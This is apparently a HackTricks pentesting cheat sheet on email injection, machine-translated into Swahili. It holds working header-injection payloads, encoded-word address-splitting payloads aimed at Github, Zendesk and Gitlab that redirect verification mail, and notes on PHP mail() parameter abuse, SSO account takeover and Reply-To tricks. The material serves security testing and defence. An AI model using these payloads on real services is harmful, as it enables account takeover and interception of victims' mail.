Email Injections

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Ingiza katika barua pepe iliyotumwa

Ingiza Cc na Bcc baada ya hoja ya mtumaji

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Ujumbe utatumwa kwa akaunti za mpokeaji na mpokeaji1.

Ingiza hoja

From:sender@domain.com%0ATo:attacker@domain.com

Ujumbe utatumwa kwa mpokeaji wa asili na akaunti ya mshambuliaji.

Ingiza hoja ya kichwa

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Kichwa cha uwongo kitaongezwa kwenye kichwa halisi na katika baadhi ya matukio kitaibadilisha. Inategemea tabia ya huduma ya barua pepe.

Badilisha mwili wa ujumbe

Ingiza mlo wa mistari miwili, kisha andika ujumbe wako kubadilisha mwili wa ujumbe.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() function exploitation

bash
# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Paramenta ya 5 ($additional_parameters)

Sehemu hii itategemea jinsi ya kutumia vibaya paramenta hii ikiwa mshambuliaji anaitawala.

Paramenta hii itaongezwa kwenye mstari wa amri PHP itakayotumia kuita binary sendmail. Hata hivyo, itasafishwa kwa kutumia kazi escapeshellcmd($additional_parameters).

Mshambuliaji anaweza kuingiza paramenta za kutolewa kwa sendmail katika kesi hii.

Tofauti katika utekelezaji wa /usr/sbin/sendmail

sendmail kiolesura kinatolewa na programu ya MTA ya barua pepe (Sendmail, Postfix, Exim n.k.) iliyosakinishwa kwenye mfumo. Ingawa ufanyaji kazi wa msingi (kama vile -t -i -f paramenta) unabaki sawa kwa sababu za ulinganifu, kazi na paramenta nyingine hutofautiana sana kulingana na MTA iliyosakinishwa.

Hapa kuna mifano michache ya kurasa tofauti za mtu wa amri/sendmail:

  • Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
  • Postfix MTA: http://www.postfix.org/mailq.1.html
  • Exim MTA: https://linux.die.net/man/8/eximReferences

Kulingana na chanzo cha binary sendmail, chaguzi tofauti zimegunduliwa kutumia vibaya na kuvuja faili au hata kutekeleza amri zisizo za kawaida. Angalia jinsi katika https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Ingiza katika jina la barua pepe

caution

Kumbuka kwamba ikiwa utaweza kuunda akaunti katika huduma yenye jina la kikoa kisicho na mpangilio (kama Github, Gitlab, CloudFlare Zero trust...) na kuithibitisha kwa kupokea barua pepe ya uthibitisho kwenye anwani yako ya barua, huenda ukawa na uwezo wa kufikia maeneo nyeti ya kampuni ya mwathirika

Sehemu zilizopuuziliwa mbali za barua pepe

Alama: +, - na {} katika matukio nadra zinaweza kutumika kwa ajili ya kuweka alama na kupuuziliwa mbali na seva nyingi za barua pepe

  • Mfano: john.doe+intigriti@example.com β†’ john.doe@example.com

Maoni kati ya mabano () mwanzoni au mwishoni pia yatapuuziliwa mbali

  • Mfano: john.doe(intigriti)@example.com β†’ john.doe@example.com

Kupita kwenye orodha ya ruhusa

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Nukuu

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IPs

Unaweza pia kutumia IP kama jina la kikoa kati ya mabano ya mraba:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Uandishi wa Barua Pepe

Kama ilivyoelezwa katika tafiti hii, majina ya barua pepe pia yanaweza kuwa na wahusika walioandikwa:

  • PHP 256 overflow: Kazi ya PHP chr itaendelea kuongeza 256 kwa wahusika hadi iwe chanya na kisha ifanye operesheni %256.
  • String.fromCodePoint(0x10000 + 0x40) // 𐁀 β†’ @

tip

Lengo la hila hii ni kumaliza na kuingiza kama RCPT TO:<"collab@psres.net>collab"@example.com>
ambayo itatuma barua pepe ya uthibitisho kwa anwani tofauti ya barua pepe kutoka ile inayotarajiwa (hivyo kuingiza anwani nyingine ya barua pepe ndani ya jina la barua pepe na kuvunja sintaksia wakati wa kutuma barua pepe)

Mifumo tofauti ya uandishi:

bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
#Β iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 β†’ x@<svg/

Payloads:

  • Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com
  • Kumbuka @ iliy encoded kama =40, > iliy encoded kama =3e na null kama =00
  • Itatuma barua ya uthibitisho kwa collab@psres.net
  • Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
  • Hila sawa na ile ya awali lakini ikiongeza nukuu za kawaida mwanzoni na nukuu iliy encoded =22 kabla ya @ iliy encoded na kisha kuanza na kufunga nukuu kabla ya barua nyingine ili kurekebisha sintaksia inayotumiwa ndani ya Zendesk
  • Itatuma barua ya uthibitisho kwa collab@psres.net
  • Gitlab: =?x?q?collab=40psres.net_?=foo@example.com
  • Kumbuka matumizi ya underscore kama nafasi ya kutenganisha anwani
  • Itatuma barua ya uthibitisho kwa collab@psres.net
  • Punycode: Kwa kutumia Punycode ilikuwa inawezekana kuingiza tag <style katika Joomla na kuitumia kuiba token ya CSRF kupitia exfiltration ya CSS.

Tooling

  • Kuna Burp Suite Turbo Intruder script ya kufuzz hizi aina za mchanganyiko kujaribu kushambulia muundo wa barua pepe. Script tayari ina mchanganyiko unaoweza kufanya kazi.
  • Pia inawezekana kutumia Hackvertor kuunda shambulio la kugawanya barua pepe

Other vulns

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Third party SSO

XSS

Huduma zingine kama github au salesforce zinakuruhusu kuunda anwani ya barua pepe yenye payloads za XSS. Ikiwa unaweza kutumia hawa watoa huduma kuingia kwenye huduma nyingine na huduma hizi hazifanyi usafi ipasavyo barua pepe, unaweza kusababisha XSS.

Account-Takeover

Ikiwa huduma ya SSO inakuruhusu kuunda akaunti bila kuthibitisha anwani ya barua pepe iliyotolewa (kama salesforce) na kisha unaweza kutumia akaunti hiyo ku ingia kwenye huduma tofauti ambayo inaamini salesforce, unaweza kupata akaunti yoyote.
Kumbuka kwamba salesforce inaonyesha ikiwa barua pepe iliyotolewa ilikuwa au haikuwa imehakikishwa lakini hivyo programu inapaswa kuzingatia habari hii.

Reply-To

Unaweza kutuma barua pepe ukitumia From: company.com na Replay-To: attacker.com na ikiwa jibu la kiotomatiki litatumwa kwa sababu barua pepe ilitumwa kutoka anwani ya ndani mshambuliaji anaweza kuwa na uwezo wa kupokea hiyo jibu.

Hard Bounce Rate

Huduma fulani, kama AWS, zinaanzisha kigezo kinachojulikana kama Hard Bounce Rate, ambacho kawaida huwekwa kwa 10%. Hii ni kipimo muhimu, hasa kwa huduma za utoaji wa barua pepe. Wakati kiwango hiki kinapozidiwa, huduma, kama huduma ya barua pepe ya AWS, inaweza kusimamishwa au kuzuiwa.

Hard bounce inahusisha barua pepe ambayo imerejeshwa kwa mtumaji kwa sababu anwani ya mpokeaji si halali au haipo. Hii inaweza kutokea kwa sababu mbalimbali, kama vile barua pepe kutumwa kwa anwani isiyo na uwepo, kikoa ambacho si halisi, au kukataa kwa seva ya mpokeaji kupokea barua pepe.

Katika muktadha wa AWS, ikiwa unatumia barua pepe 1000 na 100 kati yao zinapelekea hard bounces (kwa sababu kama anwani zisizo halali au kikoa), hii itamaanisha kiwango cha hard bounce cha 10%. Kufikia au kuzidi kiwango hiki kunaweza kusababisha AWS SES (Simple Email Service) kuzuiwa au kusimamishwa uwezo wako wa kutuma barua pepe.

Ni muhimu kudumisha kiwango cha chini cha hard bounce ili kuhakikisha huduma ya barua pepe isiyokatizwa na kudumisha sifa ya mtumaji. Kufuata na kusimamia ubora wa anwani za barua pepe katika orodha zako za barua inaweza kusaidia sana katika kufikia hili.

Kwa maelezo zaidi, hati rasmi ya AWS kuhusu kushughulikia bounces na malalamiko inaweza kutazamwa AWS SES Bounce Handling.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks